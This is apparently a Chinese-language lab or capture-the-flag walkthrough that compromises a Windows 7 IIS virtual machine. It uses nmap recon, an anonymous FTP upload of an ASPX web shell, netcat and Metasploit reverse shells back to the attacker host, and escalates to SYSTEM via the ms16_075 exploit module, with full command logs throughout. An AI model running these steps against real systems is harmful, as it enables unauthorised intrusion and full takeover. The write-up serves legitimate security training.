1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
┌──(root㉿kali)-[~/yiyi/php_filter_chain_generator-main]
└─# arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:26:ba:73, IPv4: 192.168.56.102
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:13       (Unknown: locally administered)
192.168.56.100  08:00:27:a5:c0:c6       PCS Systemtechnik GmbH
192.168.56.108  08:00:27:f3:00:bd       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.994 seconds (128.39 hosts/sec). 3 responded

┌──(root㉿kali)-[~/yiyi/php_filter_chain_generator-main]
└─# nmap -Pn -A -sV -T4 -p- 192.168.56.108
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-24 04:16 EST
Stats: 0:05:50 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 46.89% done; ETC: 04:29 (0:06:38 remaining)
Stats: 0:09:25 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 78.40% done; ETC: 04:28 (0:02:36 remaining)
Nmap scan report for 192.168.56.108
Host is up (0.00047s latency).
Not shown: 65523 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-05-24  11:16AM       <DIR>          aspnet_client
| 10-04-24  11:27PM                  689 iisstart.htm
| 12-24-24  11:28AM                15968 reverse.aspx
|_10-04-24  11:27PM               184946 welcome.png
80/tcp    open  http         Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 08:00:27:F3:00:BD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: QUOTED-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: quoted-PC
|   NetBIOS computer name: QUOTED-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-12-24T11:29:41+02:00
|_clock-skew: mean: -40m00s, deviation: 1h09m16s, median: -1s
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: QUOTED-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:f3:00:bd (Oracle VirtualBox virtual NIC)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-12-24T09:29:41
|_  start_date: 2024-12-24T09:16:18

TRACEROUTE
HOP RTT     ADDRESS
1   0.47 ms 192.168.56.108

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 778.39 seconds

┌──(root㉿kali)-[~]
└─# nmap 192.168.56.108 -p 21 -sC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-24 04:23 EST
Nmap scan report for 192.168.56.108
Host is up (0.00019s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 10-05-24  11:16AM       <DIR>          aspnet_client
| 10-04-24  11:27PM                  689 iisstart.htm
|_10-04-24  11:27PM               184946 welcome.png
| ftp-syst: 
|_  SYST: Windows_NT
MAC Address: 08:00:27:F3:00:BD (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds

空密码就进去了

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~]
└─# lftp 192.168.56.108 -u anonymous 
密码: 
lftp anonymous@192.168.56.108:~> ls                  
10-05-24  11:16AM       <DIR>          aspnet_client
10-04-24  11:27PM                  689 iisstart.htm
10-04-24  11:27PM               184946 welcome.png
lftp anonymous@192.168.56.108:~> put reverse.aspx    
15968 bytes transferred

直接传个asp的马，开启监听后curl一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/yiyi/php_filter_chain_generator-main]
└─# nc -lvvp 1234                         
listening on [any] 1234 ...
192.168.56.108: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.108] 49164
Spawn Shell...
Microsoft Windows [S�r�m 6.1.7601]
Telif Hakk� (c) 2009 Microsoft Corporation. T�m haklar� sakl�d�r.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>

用msf接个shell来提权

C:\inetpub\wwwroot是我们上传文件的目录

image-20241224181302071

用msf生成一个reverse_shell

开启监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
┌──(root㉿kali)-[~/yiyi]
└─# msfconsole
Metasploit tip: Writing a custom module? After editing your module, why not try 
the reload command
                                                  
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v6.4.34-dev                          ]
+ -- --=[ 2461 exploits - 1267 auxiliary - 431 post       ]
+ -- --=[ 1471 payloads - 49 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[*] Starting persistent handler(s)...
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost 192.168.56.102
lhost => 192.168.56.102
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.102:4444

然后用ftp上传exe文件

1
2
lftp anonymous@192.168.56.108:/> put 1.exe
73802 bytes transferred

到目标机运行一下

1
2
C:\inetpub\wwwroot>1.exe
1.exe

成功接到shell

image-20241224181905068

提权使用multi/recon/local_exploit_suggester

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                               Connection
  --  ----  ----                     -----------                               ----------
  1         meterpreter x86/windows  NT AUTHORITY\NETWORK SERVICE @ QUOTED-PC  192.168.56.102:4444 -> 192.168.56.108:49166 (192.168.56.108)

msf6 exploit(multi/handler) > use multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.56.108 - Collecting local exploits for x86/windows...
[*] 192.168.56.108 - 198 exploit checks are being tried...
[+] 192.168.56.108 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable.
[+] 192.168.56.108 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.56.108 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[+] 192.168.56.108 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 192.168.56.108 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.56.108 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.56.108 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 192.168.56.108 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[+] 192.168.56.108 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 192.168.56.108 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Running check method for exploit 42 / 42
[*] 192.168.56.108 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_comhijack                      Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move   Yes                      The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
 4   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 5   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.
 8   exploit/windows/local/ms16_075_reflection_juicy                Yes                      The target appears to be vulnerable.
 9   exploit/windows/local/ntusermndragover                         Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.
 11  exploit/windows/local/adobe_sandbox_adobecollabsync            No                       Cannot reliably check exploitability.
 12  exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
 13  exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.
 14  exploit/windows/local/anyconnect_lpe                           No                       The target is not exploitable. vpndownloader.exe not found on file system
 15  exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
 16  exploit/windows/local/bthpan                                   No                       The target is not exploitable.
 17  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
 18  exploit/windows/local/bypassuac_sluihijack                     No                       The target is not exploitable.
 19  exploit/windows/local/canon_driver_privesc                     No                       The target is not exploitable. No Canon TR150 driver directory found
 20  exploit/windows/local/cve_2020_1048_printerdemon               No                       The target is not exploitable.
 21  exploit/windows/local/cve_2020_1337_printerdemon               No                       The target is not exploitable.
 22  exploit/windows/local/gog_galaxyclientservice_privesc          No                       The target is not exploitable. Galaxy Client Service not found
 23  exploit/windows/local/ikeext_service                           No                       The check raised an exception.
 24  exploit/windows/local/ipass_launch_app                         No                       The check raised an exception.
 25  exploit/windows/local/lenovo_systemupdate                      No                       The check raised an exception.
 26  exploit/windows/local/lexmark_driver_privesc                   No                       The check raised an exception.
 27  exploit/windows/local/mqac_write                               No                       The target is not exploitable.
 28  exploit/windows/local/ms10_015_kitrap0d                        No                       The target is not exploitable.
 29  exploit/windows/local/ms13_053_schlamperei                     No                       The target is not exploitable.
 30  exploit/windows/local/ms13_081_track_popup_menu                No                       Cannot reliably check exploitability.
 31  exploit/windows/local/ms14_070_tcpip_ioctl                     No                       The target is not exploitable.
 32  exploit/windows/local/ms15_004_tswbproxy                       No                       The target is not exploitable.
 33  exploit/windows/local/ms16_016_webdav                          No                       The target is not exploitable.
 34  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  No                       The target is not exploitable.
 35  exploit/windows/local/ms_ndproxy                               No                       The target is not exploitable.
 36  exploit/windows/local/novell_client_nicm                       No                       The target is not exploitable.
 37  exploit/windows/local/ntapphelpcachecontrol                    No                       The check raised an exception.
 38  exploit/windows/local/panda_psevents                           No                       The target is not exploitable.
 39  exploit/windows/local/ppr_flatten_rec                          No                       The target is not exploitable.
 40  exploit/windows/local/ricoh_driver_privesc                     No                       The target is not exploitable. No Ricoh driver directory found
 41  exploit/windows/local/virtual_box_guest_additions              No                       The target is not exploitable.
 42  exploit/windows/local/webexec                                  No                       The check raised an exception.

[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) >

image-20241224182831531

可用的payload的尝试一下就通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options

Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JOB_WAIT_TIME  20               yes       Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
   OVERWRITE_DLL  false            yes       Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
   SESSION                         yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows DLL Dropper



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set lhost 192.168.56.102
lhost => 192.168.56.102
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set session 1
session => 1
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > run

[*] Started reverse TCP handler on 192.168.56.102:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] This target is not presently supported by this exploit. Support may be added in the future!
[!] Attempts to exploit this target with this module WILL NOT WORK!
[!] The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
[*] Step #1: Checking target environment...
[-] Exploit aborted due to failure: bad-config: Target is running Windows, its not a version this module supports! Bailing...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > use exploit/windows/local/bypassuac_eventvwr 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > show options

Module options (exploit/windows/local/bypassuac_eventvwr):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.160.100  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/bypassuac_eventvwr) > set session 1
session => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > set lhost 192.168.56.102
lhost => 192.168.56.102
msf6 exploit(windows/local/bypassuac_eventvwr) > run

[*] Started reverse TCP handler on 192.168.56.102:4444 
[-] Exploit aborted due to failure: no-access: Not in admins group, cannot escalate with this module
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/bypassuac_eventvwr) > use exploit/windows/local/ms10_092_schelevator 
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/local/ms10_092_schelevator) > show options

Module options (exploit/windows/local/ms10_092_schelevator):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   SESSION                    yes       The session to run this module on
   TASKNAME                   no        A name for the created task (default random)


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows Vista / 7 / 2008 (Dropper)



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/ms10_092_schelevator) > set lhost 192.168.56.102
lhost => 192.168.56.102
msf6 exploit(windows/local/ms10_092_schelevator) > set session 1
session => 1
msf6 exploit(windows/local/ms10_092_schelevator) > run

[*] Started reverse TCP handler on 192.168.56.102:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[-] Exploit aborted due to failure: no-target: Running against via WOW64 is not supported, try using an x64 meterpreter...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms10_092_schelevator) > use exploit/windows/local/ms16_075_reflection_juicy 
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
hmsf6 exploit(windows/local/ms16_075_reflection_juicy) > show options

Module options (exploit/windows/local/ms16_075_reflection_juicy):

   Name     Current Setting                         Required  Description
   ----     ---------------                         --------  -----------
   CLSID    {4991d34b-80a1-4291-83b6-3328366b9097}  yes       Set CLSID value of the DCOM to trigger
   SESSION                                          yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  none             yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.160.100  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/ms16_075_reflection_juicy) > set lhost 192.168.56.102
lhost => 192.168.56.102
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set session 1
session => 1
msf6 exploit(windows/local/ms16_075_reflection_juicy) > run

[*] Started reverse TCP handler on 192.168.56.102:4444 
[+] Target appears to be vulnerable (Windows 7 Service Pack 1)
[*] Launching notepad to host the exploit...
[+] Process 2320 launched.
[*] Reflectively injecting the exploit DLL into 2320...
[*] Injecting exploit into 2320...
[*] Exploit injected. Injecting exploit configuration into 2320...
[*] Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (177734 bytes) to 192.168.56.108
[*] Meterpreter session 2 opened (192.168.56.102:4444 -> 192.168.56.108:49173) at 2024-12-24 05:26:48 -0500

meterpreter > shell
Process 2396 created.
Channel 1 created.
Microsoft Windows [S�r�m 6.1.7601]
Telif Hakk� (c) 2009 Microsoft Corporation. T�m haklar� sakl�d�r.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>

image-20241224182926600